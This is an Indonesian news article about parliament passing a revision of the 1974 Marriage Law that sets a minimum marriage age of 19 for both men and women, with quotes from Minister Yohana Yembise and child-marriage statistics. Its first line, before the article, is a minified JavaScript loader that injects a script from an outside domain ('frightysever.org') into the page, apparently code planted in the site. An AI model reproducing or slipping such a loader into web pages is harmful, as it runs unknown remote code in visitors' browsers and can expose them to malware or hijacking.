(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

SAH! Batas Usia Perkawinan Saat Ini Minimal Umur 19 Tahun


JAKARTA, Usulan pemerintah untuk menaikkan minimal usia perkawinan akhirnya terwujud. Delapan fraksi di DPR RI menyetujui usulan soal minimun usia perkawinan menjadi 19 tahun.

Sebelumnya, batas minimal menikah adalah 19 tahun untuk laki-laki, dan 16 tahun untuk perempuan. Namun, dengan disetujuinya revisi UU Nomor 1 Tahun 1974 tentang Perkawinan, maka disetujui keduanya menjadi minimal 19 tahun.

Menteri Pemberdayaan Perempuan dan Perlindungan Anak (PPPA) Yohana Yembise sejak awal mendesak DPR agar mengesahkan revisi UU Perkawinan. Sebab, pihaknya menilai angka perkawinan anak di Indonesia masih tinggi. Demikian dilansir Kumparan.com.

Yohana menuturkan, pembahasan kenaikan usia perkawinan telah didiskusikan secara saksama dengan melibatkan banyak unsur masyarakat. Berbagai pertimbangannya adalah pendidikan dan kondisi anak sudah lebih dewasa.

Dan akhirnya, pada Senin (16/9), DPR secara resmi mengesahkan Rancangan Undang-undang (RUU) Nomor 1 Tahun 1974 tentang Perkawinan menjadi UU. Proses persetujuan ini diambil saat rapat paripurna.

Pengesahan berlangsung dengan lancar tanpa ada protes dari peserta sidang. Wakil Ketua DPR sekaligus pimpinan sidang paripurna, Fahri Hamzah, sempat menanyakan persetujuan para anggota yang hadir sebelum ketok palu.

“Apakah setuju RUU Nomor 1 Tahun 1974 tentang Perkawinan kita sahkan menjadi undang-undang,” tanya Fahri yang dibalas ‘setuju’ oleh para peserta sidang.

“Tok,” bunyi palu yang diketukkan Fahri sebagai tanda RUU resmi jadi UU.

“Dengan demikian revisi terhadap Rancangan Undang-undang Perkawinan disahkan menjadi undang-undang,” kata Fahri disambut tepuk tangan seluruh anggota dewan.

Tak ayal, keputusan ini membuat Yohana terharu dan berterima kasih kepada DPR yang akhirnya meresmikan menjadi UU.

“Rasa sedih dan bahagia karena akhirnya tercapai, disahkannya revisi Undang-undang Perkawinan dengan batas usia perkawinan minimal bagi perempuan dan laki-laki sama-sama 19 tahun. Ini luar biasa, kami senang sekali,” ungkap Yohana.

Menurutnya, dengan pasal baru yang disahkan ini, diharapkan menjadi kado bagi seluruh anak-anak di Indonesia. Seperti yang pernah dijanjikannya pada peringatan Hari Anak Nasional, 23 Juli 2019 lalu. “Bahwa kami akan berusaha menaikkan angka batas usia perkawinan di atas usia anak. Sebuah sejarah yang harus dicatatkan,” tuturnya.

“Keputusan atas pengesahan RUU Perubahan Undang-Undang Nomor 1 Tahun 1974 tentang Perkawinan ini sangat dinantikan oleh seluruh warga Indonesia dalam upaya menyelamatkan anak Indonesia atas praktik perkawinan anak yang sangat merugikan anak, keluarga dan Negara,” lanjut Yohana.

Indonesia menduduki peringkat ke-7 di dunia dan ke-2 di ASEAN soal angka perkawinan anak tertinggi. Praktik perkawinan anak di Indonesia berdasarkan data BPS 2017 menunjukkan angka 25,2 persen. Artinya, 1 dari 4 anak perempuan menikah pada usia anak, yaitu sebelum mencapai usia 18 tahun.

Sedangkan pada tahun 2018, BPS mencatat sebesar 11,2 persen, artinya 1 dari 9 perempuan usia 20-24 tahun menikah sebelum usia 18 tahun. Selain itu, ada 20 provinsi dengan prevalensi perkawinan anak di atas angka nasional.(cel/kum)

Reporter : cel/kum
Editor : Cell

 


Desy Arfianty

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

2 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

2 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

2 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

7 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

10 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

10 jam ago

This website uses cookies.